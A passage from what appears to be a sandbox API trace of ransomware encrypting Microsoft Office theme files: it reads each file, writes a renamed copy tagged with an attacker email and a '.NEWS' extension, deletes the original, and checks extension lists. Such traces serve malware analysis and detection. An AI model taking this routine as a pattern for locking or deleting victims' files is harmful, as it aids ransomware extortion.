(in: hFile=0x398, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=42917) returned 1 [0242.417] CloseHandle (hObject=0x398) returned 1 [0242.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 0x20 [0242.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.418] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.419] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0242.419] GetLastError () returned 0x0 [0242.419] ReadFile (in: hFile=0x398, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0xa7a5, lpOverlapped=0x0) returned 1 [0242.467] WriteFile (in: hFile=0x3d0, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xa7b0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xa7b0, lpOverlapped=0x0) returned 1 [0242.472] ReadFile (in: hFile=0x398, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.472] WriteFile (in: hFile=0x3d0, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0242.472] SetEndOfFile (hFile=0x3d0) returned 1 [0242.473] CloseHandle (hObject=0x3d0) returned 1 [0242.473] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.473] SetEndOfFile (hFile=0x398) returned 1 [0242.483] CloseHandle (hObject=0x398) returned 1 [0242.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 1 [0242.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.485] lstrlenW (lpString=".doc") returned 4 [0242.485] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.485] lstrlenW (lpString=".docx") returned 5 [0242.485] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.485] lstrlenW (lpString=".pdf") returned 4 [0242.486] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.486] lstrlenW (lpString=".xls") returned 4 [0242.486] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.486] lstrlenW (lpString=".xlsx") returned 5 [0242.486] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.486] lstrlenW (lpString=".ppt") returned 4 [0242.486] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.486] lstrlenW (lpString=".zip") returned 4 [0242.486] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.486] lstrlenW (lpString=".rar") returned 4 [0242.486] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.486] lstrlenW (lpString=".bz2") returned 4 [0242.486] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.487] lstrlenW (lpString=".7z") returned 3 [0242.487] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.487] lstrlenW (lpString=".dbf") returned 4 [0242.487] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.487] lstrlenW (lpString=".1cd") returned 4 [0242.487] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.487] lstrlenW (lpString=".jpg") returned 4 [0242.487] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.488] lstrlenW (lpString=".doc") returned 4 [0242.488] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.488] lstrlenW (lpString=".docx") returned 5 [0242.488] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.488] lstrlenW (lpString=".pdf") returned 4 [0242.488] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.488] lstrlenW (lpString=".xls") returned 4 [0242.488] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.488] lstrlenW (lpString=".xlsx") returned 5 [0242.488] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.489] lstrlenW (lpString=".ppt") returned 4 [0242.489] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.489] lstrlenW (lpString=".zip") returned 4 [0242.489] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.489] lstrlenW (lpString=".rar") returned 4 [0242.489] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.489] lstrlenW (lpString=".bz2") returned 4 [0242.489] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.489] lstrlenW (lpString=".7z") returned 3 [0242.489] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.490] lstrlenW (lpString=".dbf") returned 4 [0242.490] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.490] lstrlenW (lpString=".1cd") returned 4 [0242.490] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0242.490] lstrlenW (lpString=".jpg") returned 4 [0242.490] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.580] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0242.580] lstrlenW (lpString="Concourse.eftx") returned 14 [0242.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0242.794] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=22417) returned 1 [0242.794] CloseHandle (hObject=0x15c) returned 1 [0242.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 0x20 [0242.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0242.795] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.795] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0242.796] GetLastError () returned 0x0 [0242.796] ReadFile (in: hFile=0x15c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x5791, lpOverlapped=0x0) returned 1 [0242.862] WriteFile (in: hFile=0x1cc, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x57a0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x57a0, lpOverlapped=0x0) returned 1 [0242.866] ReadFile (in: hFile=0x15c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.867] WriteFile (in: hFile=0x1cc, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0242.867] SetEndOfFile (hFile=0x1cc) returned 1 [0242.867] CloseHandle (hObject=0x1cc) returned 1 [0242.867] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.868] SetEndOfFile (hFile=0x15c) returned 1 [0242.876] CloseHandle (hObject=0x15c) returned 1 [0242.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 1 [0242.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.878] lstrlenW (lpString=".doc") returned 4 [0242.878] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.878] lstrlenW (lpString=".docx") returned 5 [0242.878] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.879] lstrlenW (lpString=".pdf") returned 4 [0242.879] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.879] lstrlenW (lpString=".xls") returned 4 [0242.879] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.879] lstrlenW (lpString=".xlsx") returned 5 [0242.879] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.879] lstrlenW (lpString=".ppt") returned 4 [0242.879] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.879] lstrlenW (lpString=".zip") returned 4 [0242.879] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.879] lstrlenW (lpString=".rar") returned 4 [0242.879] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.880] lstrlenW (lpString=".bz2") returned 4 [0242.880] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.880] lstrlenW (lpString=".7z") returned 3 [0242.880] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.880] lstrlenW (lpString=".dbf") returned 4 [0242.880] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.880] lstrlenW (lpString=".1cd") returned 4 [0242.880] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.881] lstrlenW (lpString=".jpg") returned 4 [0242.881] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.881] lstrlenW (lpString=".doc") returned 4 [0242.881] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.881] lstrlenW (lpString=".docx") returned 5 [0242.881] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.881] lstrlenW (lpString=".pdf") returned 4 [0242.881] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.881] lstrlenW (lpString=".xls") returned 4 [0242.882] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.882] lstrlenW (lpString=".xlsx") returned 5 [0242.882] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.882] lstrlenW (lpString=".ppt") returned 4 [0242.882] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.882] lstrlenW (lpString=".zip") returned 4 [0242.882] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.882] lstrlenW (lpString=".rar") returned 4 [0242.882] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.882] lstrlenW (lpString=".bz2") returned 4 [0242.882] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.882] lstrlenW (lpString=".7z") returned 3 [0242.882] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.883] lstrlenW (lpString=".dbf") returned 4 [0242.883] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.883] lstrlenW (lpString=".1cd") returned 4 [0242.883] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0242.883] lstrlenW (lpString=".jpg") returned 4 [0242.883] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.884] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0242.884] lstrlenW (lpString="Elemental.eftx") returned 14 [0242.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0242.914] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=314017) returned 1 [0242.914] CloseHandle (hObject=0x3cc) returned 1 [0242.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 0x20 [0242.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0242.915] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.915] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0242.917] GetLastError () returned 0x0 [0242.917] ReadFile (in: hFile=0x3cc, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x4caa1, lpOverlapped=0x0) returned 1 [0242.936] WriteFile (in: hFile=0x370, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x4cab0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x4cab0, lpOverlapped=0x0) returned 1 [0242.959] ReadFile (in: hFile=0x3cc, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.960] WriteFile (in: hFile=0x370, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0242.960] SetEndOfFile (hFile=0x370) returned 1 [0242.960] CloseHandle (hObject=0x370) returned 1 [0242.960] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.961] SetEndOfFile (hFile=0x3cc) returned 1 [0242.992] CloseHandle (hObject=0x3cc) returned 1 [0242.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 1 [0243.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.394] lstrlenW (lpString=".doc") returned 4 [0243.394] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.394] lstrlenW (lpString=".docx") returned 5 [0243.394] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.394] lstrlenW (lpString=".pdf") returned 4 [0243.394] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.394] lstrlenW (lpString=".xls") returned 4 [0243.394] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.394] lstrlenW (lpString=".xlsx") returned 5 [0243.394] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.394] lstrlenW (lpString=".ppt") returned 4 [0243.396] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.396] lstrlenW (lpString=".zip") returned 4 [0243.396] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.396] lstrlenW (lpString=".rar") returned 4 [0243.396] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.396] lstrlenW (lpString=".bz2") returned 4 [0243.396] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.396] lstrlenW (lpString=".7z") returned 3 [0243.396] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.396] lstrlenW (lpString=".dbf") returned 4 [0243.397] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.397] lstrlenW (lpString=".1cd") returned 4 [0243.397] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.397] lstrlenW (lpString=".jpg") returned 4 [0243.397] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.398] lstrlenW (lpString=".doc") returned 4 [0243.398] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.398] lstrlenW (lpString=".docx") returned 5 [0243.398] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.398] lstrlenW (lpString=".pdf") returned 4 [0243.398] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.398] lstrlenW (lpString=".xls") returned 4 [0243.398] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.398] lstrlenW (lpString=".xlsx") returned 5 [0243.398] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.398] lstrlenW (lpString=".ppt") returned 4 [0243.398] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.399] lstrlenW (lpString=".zip") returned 4 [0243.399] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.399] lstrlenW (lpString=".rar") returned 4 [0243.399] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.399] lstrlenW (lpString=".bz2") returned 4 [0243.399] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.400] lstrlenW (lpString=".7z") returned 3 [0243.400] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.400] lstrlenW (lpString=".dbf") returned 4 [0243.400] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.400] lstrlenW (lpString=".1cd") returned 4 [0243.400] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0243.401] lstrlenW (lpString=".jpg") returned 4 [0243.401] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.401] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0243.401] lstrlenW (lpString="Essential.eftx") returned 14 [0243.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0244.275] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=16350) returned 1 [0244.275] CloseHandle (hObject=0x188) returned 1 [0244.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 0x20 [0244.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), 